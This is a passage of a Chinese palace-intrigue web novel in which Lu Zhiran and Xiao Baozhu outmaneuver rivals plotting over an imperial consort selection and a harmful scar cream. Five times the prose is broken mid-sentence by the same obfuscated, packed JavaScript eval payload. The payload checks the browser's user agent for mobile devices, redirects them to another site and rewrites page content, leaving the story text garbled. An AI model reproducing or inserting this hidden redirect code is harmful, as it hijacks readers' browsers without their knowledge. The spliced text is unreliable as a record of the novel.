一进到包厢,萧宝珠就叽里呱啦,将宴会上发生之事尽数道来。 萧晏辞一开始还只当个乐子听,越到后面,他的脸色就越发难看,一个用力,手上的茶盏被他捏碎。 好个萧晏清,他可真是吃了熊心豹子胆了,连陆知苒都敢算计!也不撒泡尿照照自己,就他那德性,也配? “瑾王殿下,你的手受伤了。” 萧晏辞松手,掌心被瓷器划出一道口子,鲜红的血液喷涌而出。 一方素净的帕子递到了他面前,他立马敛了面上冷色,接了过来。 入手便是柔软丝滑的触感,用这样的帕子擦血,实在是太过浪费。 正犹豫着,萧宝珠已经眼疾手快一把将那帕子按在了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162014|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伤处。 “你傻愣着做什么?血都要流干了!” 素净的帕子立马染上一片血污,萧晏辞心头一梗,剜了萧宝珠一眼。 没眼力见的东西。 萧宝珠还在絮絮念着,“这么大人了还把自己伤到,你也太不小心了。” 萧晏辞冷声,“听到萧晏清那狗东西又不干人事,一时失神罢了。” 听他这话,陆知苒不由莞尔。 也只有他会这样骂萧晏清,不过,骂得倒是贴切。 萧宝珠生出担忧,“依照他的秉性,一计不成,难保会不会再生一计。” 萧晏辞冷笑一声,“我看他就是太闲了,既如此,我便给他找点事情做。” 陆知苒脑中飞速运转,想起了另外一件事。 “我偶尔得知了一桩有关卢驸马的秘闻,只是不知真假。” 两人四只眼睛立马齐刷刷朝她看来。 陆知苒轻咳一声,把前世后来发生的一桩事道出。 萧晏辞立马道:“我这就派人核查此事。” 萧宝珠兴奋得搓手,“若此事当真,那咱们可就有好戏看咯!” 陆知苒淡淡一笑。 萧婉贞太闲了些,才有时间精力掺和萧晏清的事。 若她后院失火,自顾不暇,如何还有精力去管萧晏清的闲事? 她说了,人不犯我,我不犯人。人若犯我,那就不要怪她不客气了。 卢家。 萧晏清接连打了几个喷嚏,眼下春寒料峭,湖水冰凉,他饶是年轻力壮,也受了些寒凉。 萧婉贞面露关切,“晏清,你没事吧?快把这碗药喝了。” 萧晏清一口灌下那药,周身气场很沉,看着萧婉贞的眼神也充满了怨怼。 “皇姐,今日之事究竟是怎么一回事?你不是说一切都准备周全了吗?” 自己吃了苦头,事情却没办成,委实憋屈! 萧婉贞面色顿时变得十分难看,“我的计划的确十分周全,谁曾想竟让陆知苒识破,还摆了一道!赵氏曾说过,陆知苒十分狡猾,难以对付,我原还不信,而今看来,的确是我小瞧她了。” 第159章 皇子选妃 萧晏清沉着脸,归根结底,还是他们太过轻敌。 “今日也并非全无收获,楚云清乃宣平侯府嫡女,你娶了她,日后宣平侯府就成为你的左膀右臂。” 萧晏清露出不屑之色,“什么左膀右臂,一个有实力的都没有!” 萧婉贞噎了噎,“俗话说,烂船还有三斤钉,宣平侯府再没落也是侯府之家,你娶了楚氏女,并无坏处。” 事到如今,萧晏清也只能这么安慰自己。 他可以纳了楚云清,但是,要就此放弃陆知苒,绝无可能! “此计不成,陆知苒必然更加警惕,要故技重施就难了。” 若不能得到她,那就只能毁掉。 此前,他们已经派人前往西平布局,若陆知苒一再不识趣,那他就只能按照计划,毁掉她的商行和名声! 他得不到的,也断然不能让萧晏辞那厮占了便宜。 萧婉贞并不知西平之事,她的脑子飞速运转,倒是有了另一个主意。 “你也到了该选妃的年纪,今日既然出了这档子事,不若便让母妃顺势向父皇提议,将选妃之事提前。届时,将陆知苒列入选秀名单,我们再做些手脚,促成此事。” 萧晏清闻言,沉吟一番,缓缓点头。 “此计可行,便依皇姐所言。” 萧晏清心中急切,不再久留,径直入宫去了。 他见了德丰帝,将卢家发生之事道来,言辞恳切,态度真诚。 “儿臣虽是救人心切,但也的确与楚大小姐有了肌肤之亲,身为男子,合该有所担当,对她负责。儿臣特向父皇请旨赐婚。” 这于德丰帝而言,不过是一桩小事,但萧晏清这番有担当的态度,也让他十分满意。 “楚氏女虽为侯府之女,但身份上,到底不堪王妃之位,便赐为侧妃吧。” 萧晏清连忙领旨谢恩。 圣旨第一时间下到了宣平侯府,宣平侯府上下齐齐跪下领旨,楚云清腰杆挺直,神采奕奕,如同一只骄傲的孔雀。 听罢宣旨太监宣读的内容,她心中略感失望。 竟然只是个侧妃,她还以为,自己能直接被册封正妃呢。 但这番结果对于楚定峰和姜氏而言,已然是莫大的惊喜。 没想到只不过赴一场宴,竟能带回来这么大的好消息。 他们侯府能出一位侧妃,那是祖坟冒青烟的大好事啊。 众人欢欢喜喜地领旨谢恩,又命人给宣旨太监包了一个分量十足的红包,客客气气地把人送走了。 姜氏拉着楚云清的手,眼底满是骄傲, “太好了,清儿,你以后就是六皇子侧妃了。” 楚云清拿着那圣旨,心中十分高兴,面上却故作矜持。 “不过是个侧妃罢了,也无甚好得意的。若是正妃……” 楚定峰连忙呵斥,“雷霆雨露皆是君恩,岂容你如此挑挑拣拣?日后进了六皇子府,定要谨言慎行,不可再像现在这般口无遮拦。” 楚云清自诩自己身份不同了,在楚定峰面前腰杆都直了几分。 “爹,女儿今时不同往日,您就不要再用老眼光来看待女儿,您就等着吧,女儿定能让侯府重新恢复鼎盛。” 说完,她颇为得意地看了赵书宁一眼,优越感十足。 她赵书宁有医术傍身又如何?也只能小心翼翼地在贵人跟前伏低做小,而自己,什么都不需要做,就能让侯府的身份水涨船高。 孰高孰低,一目了然。 赵书宁暗暗蹙眉,心底也不禁升起一丝怀疑,自己这一步棋,到底有没有走对? 楚云清满心期盼着自己比正妃先入门,成为六皇子府唯一的女主人,却不想,先等来的却是皇上下旨给五六七三位皇子选妃的消息。 如此一来,她便只能在正妃入门之后,与另一位侧妃一道进门,再没了先入门的优势! 楚云清气得在屋中狠狠发了一通脾气。 一道声音冷冷传来,“事到如今,你若还不知收敛自己的脾性,便是进了六皇子府,也成不了气候。” 楚云清转头,就看到赵书宁立在门边,正冷冷看着她。 楚云清恨声,“你算个什么东西,有什么资格在我面前说这些话?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162015|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个蠢货,还没得势,就开始摆起谱来了。 但这枚棋子是自己启用的,再如何蠢笨,也要调教好,万不能连累了自己。 赵书宁似笑非笑地看着她,“你有没有想过,皇上为何会在这时下这道皇子选妃的旨意?” 楚云清一愣,脸上露出几分茫然。 赵书宁在心中骂了句蠢货,却不得不耐着性子与她分说。 “若我的猜测没有错,这道旨意,是六皇子自己求来的。” 楚云清不相信,“不可能!” “有什么不可能的?你难道没有发现,六皇子一开始以为自己救的是陆知苒,后来发现救的人是你,他的态度都变了吗?” 楚云清回忆起此事前后细节,她的脸色一点点变得难看。 “难道我还比不上陆知苒那个二嫁之人?” 赵书宁反问,“你觉得呢?” 感受到她的嘲讽,楚云清恼羞成怒,“你就是特意来嘲讽我的?” “自然不是。我只是让你脑子清醒些,不要以为自己马上要飞上枝头变凤凰了,就得意得忘乎所以。你能得此机会,全是机缘巧合。你若不摆正自己的位置,谨言慎行,你幻想的那些富贵风光的日子都会成为泡影,整个侯府也会沦为你的陪葬。” “你休要危言耸听!” 这个蠢货,不跟她把话说清楚,她永远不会明白。 “那我便再告诉你一件事。今日落水乃是一场局,救人和赐婚,都是计划好的。” 楚云清一愣,旋即大喊,“我就说是有人推的我,果然没错,就是有人陷害我!” 赵书宁嫌弃地看了她一眼,“就你这样的,谁会费尽心机地害你?” 楚云清一梗,“明明是你说的,这是一场局……” 说到一半,她终于后知后觉地反应过来,瞪大了眼睛。 “难道说,这场局是为陆知苒而设?” “还不算太蠢。此局原本意在陆知苒,偏被你横插一脚,让六皇子的谋算落空,最后不得不纳你为侧妃。你还觉得自己幸运,能得六皇子另眼相待吗?” 第160章 毁容了 楚云清似被兜头浇下一盆冷水,好半晌呆愣不语。 她不愿相信这番话,但细想当时萧晏清的反应,她心头的侥幸一点点被掐灭。 赵书宁看她的神色,知道她把自己的话听了进去,略松了口气。 “六皇子府没那么好进,锦绣繁华也并非躺着就能享受,你愚钝些不要紧,只要安分守己,不四处招摇惹祸,再生个一儿半女傍身,日后……你的福气都在后头。” 楚云清明白了赵书宁的未尽之意。 日后,萧晏清登上那个位置,她的儿女便是皇子公主,说不定,还能有机会当上太子! 她敛起了身上那股不可一世的招摇,又露出了以往那副乖顺讨好的模样。 “嫂嫂,我脑子蠢笨,比不得你,以后还要你多多提点。” 赵书宁淡淡看她,“只要你听劝,我自然不会放任不管。你记住一点,我们是一体的,一荣俱荣,一损俱损,我做任何事,都不会害你。” 楚云清立马小鸡啄米似的连连点头。 安抚好楚云清,赵书宁转身离开。 这个蠢货不可全然信任,自己得安排几个人在她身边,万不能让她在六皇子府胡来。 而且,六皇子对陆知苒只怕还是不死心。 陆知苒虽为二嫁之女,但要将她加入选妃名单轻而易举。 选妃之日,他们定会下手,促成此事。 陆知苒一旦入了六皇子府,待西平疫情爆发,谁来给自己当替罪羊? 此事决不能成! 在卢家她还能想法子搅局,可到了宫中,她的手是断然伸不进去的。 该如何阻拦此事? 赵书宁的眸底燃起一抹幽光。 这段时日,礼部官员突然忙碌起来,萧晏清更是忙得焦头烂额。 由他牵头负责的太庙祭祖事宜出了一个大纰漏,他费了很大功夫才压下此事,但善后事宜也让他忙得够呛。 偏这时,皇子选妃之事又定了下来,时间还赶在太庙祭祖前。 虽有内务府协理,但礼部官员一个个还是转成了陀螺。 家中有适龄姑娘的人家也动了起来,开始张罗着买衣裳,打首饰。 锦绣坊又趁势推出了好几款胭脂、首饰和布料,卖点便是能精准踩中宫中贵人们的喜好,顿时又引来夫人小姐们的疯抢。 谁不想被选上,飞上枝头?若是着装上能讨得贵人喜欢,自然事半功倍。 卢诗音本也想去锦绣坊逛一逛,但碍于面子,到底没去。 转念一想,她要打探什么讯息,直接去问自家三嫂便是,又何必靠外头那些不知真假的消息? 卢诗音第一时间便往萧婉贞的院子而去。 她到时,萧婉贞刚好要出门,脸上冷冰冰的,似余怒未消。 “三嫂这是怎么了?” 萧婉贞朝她看了一眼,只甩下冷冰冰的一句,“无需你多管。” 转身便走了。 卢诗音平白吃了个挂落,脸色立马不好看起来。 她想了想,也抬步跟了上去。 此番架势,定然出了什么事。 她倒是要去看一看,究竟是怎么一回事。 陆知苒和萧宝珠今日在茶楼喝茶,听曲,十分悠闲。 三楼的包厢,视野开阔,能将下方胡同的情形尽收眼底。 翠芙和丹烟凑在窗边,实时播报着下方情形。 “小姐,四公主来了!她让人把门砸开了!” “她抓了个女人和孩子,把人按在了长凳上,要把人打死!” “卢驸马出来了,他跟四公主打起来了!” 小院子里的动静闹得很大,萧宝珠和陆知苒主仆看戏看得不亦乐乎。 前世,萧婉贞没少给卢子阳纳妾,但却不允许妾室生下子嗣,偏她自己伤了身子,生了女儿后就再无动静。 卢子阳便悄悄在外头置办了个外室,等到萧婉贞发现的时候,那外室已经给她生了三个儿子。 萧婉贞气得要把那外室和三个野种全都打死,却遭到了卢家上下所有人的阻拦。 无子一条罪名,就足以压垮她那高贵的头颅。 最后,那外室被处死,三个儿子却被卢家接了回去,还记在了萧婉贞的名下。 这辈子,陆知苒提前将此事捅给了萧婉贞,卢子阳这会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162016|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还只有一个宝贝儿子,自然不舍得让萧婉贞动他一根毫毛。 “卢小姐怎么也来了?她和四公主打起来了。” “哎呀,她被四公主推倒了,好像磕破了脸!” 孩子的哭喊,卢诗音的尖叫,卢子阳的咆哮,还有萧婉贞的辩解,现场陷入了另外一场混乱。 萧宝珠神情有些复杂,“卢诗音的脸毁了,她岂不是没机会参加皇子妃选拔了?她可是心心念念要嫁给六皇兄,当六皇子妃呢。” 这对卢诗音来说,俨然是毁灭般的打击。 陆知苒露出一抹淡淡的笑,“既然她如此深情,不若我们便成全她好了。” 萧宝珠眨了眨眼,她的苒姐姐,这是又在憋坏呢。 …… 近日,天气越发暖和,春光明媚。 今年天气异常,上巳节之时,天气尚未回暖,而今上巳节虽过,但大家踏春赏景的热情反倒高涨了起来,护城河岸边一茬儿一茬儿,全是装扮得无比鲜亮的年轻男女。 而这一切,却与卢诗音没有半点相干,此刻的她正在经历人生最黑暗的时刻。 卢家把太医院所有的太医都请来了,所有人都摇头。 “就算用最好的养颜膏,脸上也要留下一道印子。要想赶在皇子选妃前痊愈,根本不可能。” 卢诗音崩溃大哭。 这一切的罪魁祸首萧婉贞,头一次在卢家受到了冷遇。 她不仅仅让卢诗音毁容,错失了选妃的机会,还差点把卢子阳唯一的儿子打死! 对于萧婉贞而言,那是卑贱的野种,但对于卢家二老来说,那是他们的亲孙儿。 那孩子生得与卢子阳一模一样,他的身份根本不容置疑。 萧婉贞被卢老夫人罚禁足,抄写佛经,静思己过,管家权也交由大夫人钱氏接手。 而那外室和孩子,则被接回了卢家,安顿在了条件优渥的怡景居。 好事不出门,坏处传千里,卢家的这两桩热**很快在外头传开了,不知多少人都在看萧婉贞的笑话。 然而就在这时,另外一条消息传出,让整件事发生了惊天逆转。 第161章 挑拨离间 时隔多年,萧婉贞再次传出了身孕! 所有人都不相信,只当这是萧婉贞为了挽回局势,故意编出来的谎话。 卢家再次请了太医为萧婉贞诊脉,每一个太医都诊出了同样的结果,是滑脉无疑。 刚刚被接回府的外室傻眼了,等着看萧婉贞笑话的人也都纷纷歇了心思。 卢老夫人对她的态度瞬间回转,免了她的惩罚,只是碍于她月份尚浅不宜操劳,府中中馈依旧交由钱氏。 萧婉贞摸着自己的肚子,恍惚极了。 她竟然真的有孕了?看来,连老天爷都站在自己这边! 再看向赵书宁时,她的眼神也变了,原本只是稍有信赖,现在则是引为心腹。 “赵氏,你果然医术了得,我没有看错你。本公主定重重有赏!” 赵书宁露出谦恭之色,“全赖公主福泽深厚,臣妇不过只是略尽了绵薄之力罢了。” 萧婉贞摇头,“你的确医术不凡,不必谦虚。你可能看出我这肚子里怀的是男是女?” 赵书宁摇头,“公主,您如今月份尚浅,还诊不出来。” 萧婉贞心头略感失望,不过很快又重振精神。 她既然能怀上这个孩子,就说明她的身体没有问题,日后,定然还能怀上更多的孩子。 那外室子出身卑贱,能成什么气候?待自己的儿子出生,她再一并料理了便是。 赵书宁恭敬开口,“公主,臣妇想替卢大小姐治疗脸上的伤,请您准许。” 萧婉贞一愣,想到这几日自己因卢诗音受到的责骂,心头笼上一抹阴霾。 卢诗音毁了容,没法参加皇子妃候选,萧婉贞自然乐见其成。 她可不想让自家弟弟娶这么一个娇蛮的祖宗回去。 况且自己已是卢家妇,晏清实在没必要再与卢家结亲,白白浪费一个靠姻亲笼络人脉的机会。 但坏就坏在,她的伤是因自己而起。 若不替她把伤治好,她会记恨自己一辈子,有她在公婆耳边吹风,自己会平添不少麻烦。 “你有法子让她的伤痊愈?” 赵书宁没有把话说死,“臣妇或可一试。” 萧婉贞点头同意了。 卢诗音整日在房中打砸东西,打骂丫鬟,脾气比以往更加暴躁。 听说赵书宁来给她看伤,她大骂着让人滚。 奶娘苦心劝说,“小姐,您就算跟公主置气,也不能拿自己的脸开玩笑啊,那赵氏是公主的人没错,但她的医术也的确十分了得,不然公主也不可能那么快调理好身子,怀上孩子。” 卢诗音闻言,终于勉强点头同意了。 卢诗音头一次正眼打量赵书宁,平平无奇的一个人,当真那么有本事? “你给我好好看,若是你治不好我的伤,我饶不了你!” 赵书宁谦恭应是。 卢诗音嘴上说得硬气,但实际上心里却绷得紧紧的。 待检查过伤处,赵书宁给出了十分肯定的答案,“你的伤口虽长,但却不算深,且受伤时日短,用药也十分及时,我有把握能让卢小姐恢复如初。” 卢诗音眸光瞬间亮了,“当真?” “自然不敢诓骗卢小姐。我的师门有一种名为冰肌玉露膏的秘药,对此类外伤有奇效。” “那能赶在选妃之日痊愈吗?” 赵书宁缓缓摇头,“最快也需一个月。” 卢诗音眸底的光瞬间熄灭,心中对萧婉贞的恨意又冒了出来。 若不是她,自己怎会毁容? 赵书宁一边给她上药,又露出欲言又止的神色。 卢诗音蹙眉,“你想说什么?难道这药还有什么不妥之处?” 赵书宁立马摇头,“自然不是,我是想起另一桩事。只是这话卢小姐定然不爱听,我还是不说了。” 卢诗音的好奇心已经被勾了起来,不悦地道:“吞吞吐吐做什么?有话就直说,我命令你说!” 赵书宁咬咬牙,这才开了口。 “我无意间听到四公主与侍女提起,六皇子他,似是对平乐县主有意,要选她做六皇子妃。” “什么!” 卢诗音惊得拍案而起,面容因为愤怒而扭曲,加上脸上那道伤疤,显得越发狰狞。 “你胡说八道什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162017|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?六皇子怎么会看上那么一个和离妇?” 赵书宁添了一把火,“可她有一副勾人的好相貌,还有丰厚的家资……” 卢诗音心头一梗。 勾人的好相貌,丰厚的家资。 这两个优势,的确无可否认,但那又如何?她嫁过人啊! “不可能,我不相信,六皇子不是那般肤浅之人!” 肤浅?六皇子可不肤浅,他比任何人都精明。 赵书宁连忙改口,“卢小姐说得对,许是我听错了,你就当我胡说八道,莫要放在心上。” 赵书宁不再开口,只专心给她上药。 她已经下足了勾子,卢诗音怎会不放在心上? 卢诗音脑中不受控制地回忆起赏花宴之日发生的事。 当时,萧晏清对陆知苒百般袒护,更是毫不犹豫要入宫请旨赐婚! 后来发现自己救错了人,他明显十分失望。 这一切表现,无不佐证了赵书宁的话。 她无缘六皇子妃之位也就罢了,岂能眼睁睁地看着那残花败柳登堂**? 卢诗音眸底闪过一抹狠厉,“我得不到的,也决不能便宜了那**!” 只要让陆知苒和自己一样,都毁了容,一切不就迎刃而解了? 赵书宁看着卢诗音眼底的厉色,轻轻笑了。 有卢诗音出手,她什么都不用做,只需要躲在暗处看好戏便是。 赵书宁前脚刚走,另一个不速之客后脚就来了。 卢诗音如同一只炸毛的猫,“你来做什么?” 萧宝珠一脸同情地看着她,“我来看看你呀。” 卢诗音压根不信,“你分明是来看我笑话的!” 萧宝珠从袖中掏出一瓶药,“真是狗咬吕洞宾,不识好人心,喏,这是阿笙以前给我调配的美颜膏,祛疤效果非常好,我以前额角磕了个口子,用了这药,半点疤痕都没留下。” 卢诗音怀疑地看着她,“你会有这么好心?” 萧宝珠一脸正色,“你我虽然有过节,但我们同为女子,我知道女子的容貌有多金贵,自然不会在这样的事上开玩笑。” 第162章 咱们是一边的 卢诗音哼了一声,“我不需要,方才赵书宁已经给我用了她师门独有的冰肌玉露膏,不出一个月,我的脸就能痊愈。” 萧宝珠眉头微蹙,“赵书宁品性不端,不值得信任,尤其是她给的药,不能随意乱用。万一烂脸了,你哭都找不到地方。” 卢诗音心里咯噔了一下,但想到赵书宁有本事把萧婉贞的身体调理好,她心中的天平便发生了倾斜。 “她不值得信任,你就值得我信任吗?谁知道你拿出来的药究竟有没有什么问题,哼。” 萧宝珠听了这话,气得立马把药收了回去。 “真是不识好歹,我这药便是扔了,也不给你!” 萧宝珠转身要走,又折返回来,怒气冲冲地道:“你的心思我清楚得很,不过我劝你还是歇一歇吧,且不说你的脸毁了没法参选,就算你有机会,我六皇兄也看不上你,他心里早有人选了!” 卢诗音面色骤变,“那人是谁?” 萧宝珠脱口道:“自然是我苒姐姐……” 说完,她就自知失言,一下捂住了嘴。 一日内,接连两人告诉她这件事,卢诗音原本哪怕还有一丝怀疑,此刻也彻底死心了。 她恨声骂,“不知廉耻的**!” 萧宝珠立马护犊子,“你骂谁呢!” “谁不知廉耻到处勾引谁,我就骂谁!” 萧宝珠满脸气愤,“分明是六皇兄自己瞧上的苒姐姐,六皇兄还邀她明日一起踏春游湖,就在护城河,定的是竞春舫的芙蓉舫。你不信,大可以自己去看看,只不过,到时候你可别自取其辱。” 撂下这话,萧宝珠转身气吼吼地走了,卢诗音气得又狠狠摔了一套茶盏。 她还正愁找不到机会对陆知苒那**下手,既如此,明日给她等着瞧! 萧宝珠离开了卢府,马不停蹄去见了陆知苒,将自己说的话复述了一遍。 “怎么样,我应该没有说错说漏吧?” “没有,你表现得很好,关键的讯息都说得很清楚。” 萧宝珠拍着胸脯松了口气,“太好了,我还生怕自己露馅儿呢。你都安排好了吗?明日的计划能行吗?” “万事俱备,只欠东风。究竟能不能成,就得看明日了。” 萧宝珠也不是杞人忧天的性子,该做的做了,她就不再多管其他。 她想到什么,又有点生气。 “那卢诗音真是不识好歹,我犹豫许久才舍得把阿笙送我的膏药转赠给她,可她倒好,宁愿相信赵书宁也不相信我,呵,我倒要看看,赵书宁能不能把她的脸治好!” 陆知苒闻言,眸光一动。 “赵书宁给她用了什么药?” “好像叫什么,冰肌玉骨膏。” 陆知苒纠正,“是冰肌玉露膏?” 萧宝珠一拍脑门,“没错,是冰肌玉露膏,你怎么知道?你听说过这种药?这药当真能治得好伤疤?” 陆知苒点头,“可以,坚持用药,可令伤处恢复如初,若是用在整张脸上,还能让人肌肤焕发新生,美上十倍。” 萧宝珠惊得瞪大了眼,“当真有如此功效?没想到赵书宁竟真的有几分本事。” 陆知苒面上闪过一抹冷意,“但她定然没有告诉卢小姐,这药还有一个致命的问题。” “什么?” “长时间使用,或可致人不孕。” 前世,赵书宁便拿出此药献给李贵妃,彼时她没有隐瞒此药的弊端。 李贵妃早不需要生育稳固地位,为了美,便用了这药。 短短一个月,她整个人年轻了好几岁。 而后,这药就在京中上了年纪的贵妇中流行起来,赵书宁的神医之名更加稳固,还靠这药赚了不少。 萧宝珠惊得倒吸了一口凉气。 “她,她简直太大胆了!” 每一次,她的大胆总能刷新自己的认知。 “她素来胆大包天,为达目的可以不择手段。” 不然,她也挣不来而今的身份与地位。 萧宝珠义愤填膺地道:“那我们要去拆穿她吗?” 陆知苒脑中闪过无数个设局反击的法子,但从未想过此时拆穿她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162018|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 恶果尚未酿成,此时拆穿,如何能叫她受到应有的惩罚? 更何况,依照赵书宁的狡诈,她也有很多方法为自己辩解。 只是,这样的话,卢诗音也会成为她布局的一颗棋子,她早就双手沾满鲜血,不在乎多一个。 但,萧宝珠会不会认为她与赵书宁一样,都是为达目的不择手段的恶人? 陆知苒斟酌着该如何开口,萧宝珠自己就先拍了拍脑袋。 “瞧我这猪脑子,又在说蠢话,这个时候拆穿有什么用,赵书宁定会把自己撇得干干净净。咱们就当作不知道,等到毒素入体,我再去找卢诗音告密,不怕她不信。” 陆知苒有些意外,“你会不会觉得我们这么做,与赵书宁一样阴损?” 萧宝珠大言不惭,“别人若是陷害我们,那才是阴损。若我们动手算计人,那就是合情合理,是他们活该!” 陆知苒闻言不禁失笑,“若是我要无缘无故地**放火呢?” 萧宝珠拍着胸脯,“苒姐姐,咱们是一边的,你**放火,我就为你毁尸灭迹。” 陆知苒本是玩笑之言,听了她这毫不犹豫的话,心头不禁微微一震,旋即便是一股难以形容的暖意。 在自己真正的朋友面前,她无需掩盖自己真实的模样,也无需生出一些不必要的担心。 因为,朋友就是会无条件地站在自己这边的呀。 萧宝珠看似单纯,但她毕竟是在后宫长大,并非真正的傻白甜。 她明白一个道理,哪怕你不去招惹别人,但若你挡了别人的道,别人也不会放过你。 既如此,多余的仁慈就是无用的,甚至会反噬到自己身上。 “我先前就已经提醒过她,是她自己不相信,我现在就算再去告诉她那药有问题,她也不一定信我,反而还要怀疑我居心不良,我又何必做这般吃力不讨好之事?” 陆知苒看着萧宝珠,觉得她似成长了许多。 果然,多做事,就能得到历练。 这段时日在锦绣坊,她没白忙。 第163章 不忌口欲的歪和尚 萧宝珠又想到另外一茬,“不过,赵书宁在妇科之道上好似挺有经验,她连四皇姐的不孕之症都治好了,到时候她会不会也把卢诗音不孕的后遗症解决了?” 若是如此,她们手上这所谓的把柄就彻底失效了。 陆知苒的注意力全都放在了另外一件事上。 “你刚刚说,她把四公主的不孕之症治好了?” 萧宝珠点头,“我今日在卢府听下人们议论的,卢驸马刚把外室和儿子接回府,四皇姐就查出了有孕,她本该被重罚的,但有了这个护身符,她反而成了香饽饽。咱们辛辛苦苦做局,结果却是白忙活了。” 说到最后,她不禁有些懊恼和遗憾。 陆知苒却陷入了若有所思。 前世,萧婉贞并未再有孕,难道,这辈子因为自己的重生,事情也发生了转机? 还是说…… “苒姐姐,你怎么了?难道这事也有什么问题吗?” 陆知苒摇了摇头,“还不确定,只是有些意外。” 若当真如自己所猜测的那般,那赵书宁就是主动送上来一个大把柄。 萧宝珠见她还不想多说,便非常识趣地没有追问。 翌日,又是春光明媚的好天气。 人们纷纷走出家门,来到河边或溪畔,举行祓禊仪式。 祓禊,即用清水洗涤身体,象征着洗去一年的晦气与疾病,迎接新一年的好运与健康。 护城河边,柳枝轻拂,桃花盛开,空气中弥漫着淡淡的花香。人们身着新衣,手持柳枝,或蘸水洒向同伴,或轻轻拂过肩头,寓意驱邪避灾。 河岸上有许多画舫,这些画舫也都被文人骚客租赁,画舫顺着河水缓缓前行,大家在画舫上吟诗作对,一边欣赏河岸风光,亦是别样乐趣。 一个身着淡紫色绣蝶穿花襦裙的少女,在丫鬟的簇拥下缓缓朝岸边而来,她的裙摆层层叠叠,如春日绽放的紫藤花。 她面上蒙着一层轻纱,只露出一双清亮的美眸,越发添了一股神秘的风姿。 卢诗音本该在家中好好养伤,但得知今日陆知苒和萧晏清相邀同游,她就再也待不住了。 她绝不能眼睁睁地看着属于自己的正妃之位被那女人抢走! 她站在岸边环顾四周,对身边侍女催促,“快找找,芙蓉舫在何处?” 每一艘画舫上都挂着自家的招牌,竞春舫是京中最大的画舫,其下的画舫又分别以牡丹、芙蓉等名花命名。 几人四下搜寻一番,终于发现了目标。 “小姐,在那边。” 卢诗音抬步便朝那边而去。 丫鬟们都面露紧张,卢诗音却镇定自若,走到画舫前,神色倨傲地开口,“本小姐受邀到此,在前面带路吧。” 画舫上的管事娘子飞快打量她一眼,“您可是平乐县主?” 卢诗音镇定点头,“正是。” 管事娘子也不曾查验身份,立马引路,“贵人里边请,小心脚下。” 卢诗音就这么轻而易举地上了画舫,一众丫鬟都暗暗松了口气。 画舫中一应装扮布置都十分精美,足见是用了心的。 卢诗音见了这番情形,却觉得分外碍眼。 “那头的事情安排好了吗?” “回小姐,都安排好了,今日,平乐县主没有机会赴约。” 卢诗音的脸上露出一抹阴恻恻的笑,“很好。” 很快,那女人那张勾人的脸就会被毁掉,她想飞上枝头,做梦去吧! 而自己…… 这时,外头传来了一阵说话声,是萧晏清来了。 卢诗音立马把面纱戴好,又示意丫鬟们也戴上面纱,端端正正地坐好。 萧晏清腰束玉带,头戴玉冠,穿着一身玄色锦衣,衣襟和袖口镶着精致云纹滚边,更添几分庄重。光华流转,衬得他越发俊逸非凡。 近些时日,他十分忙碌,前两日才堪堪忙完。 没曾想,他竟在这时收到了陆知苒的邀约。 原本他尚有些犹疑,但男人总是对自己十分有自信。他转念一想,莫非那女人悬崖勒马,重新有了抉择? 左右她不能对自己如何,再怎样,吃 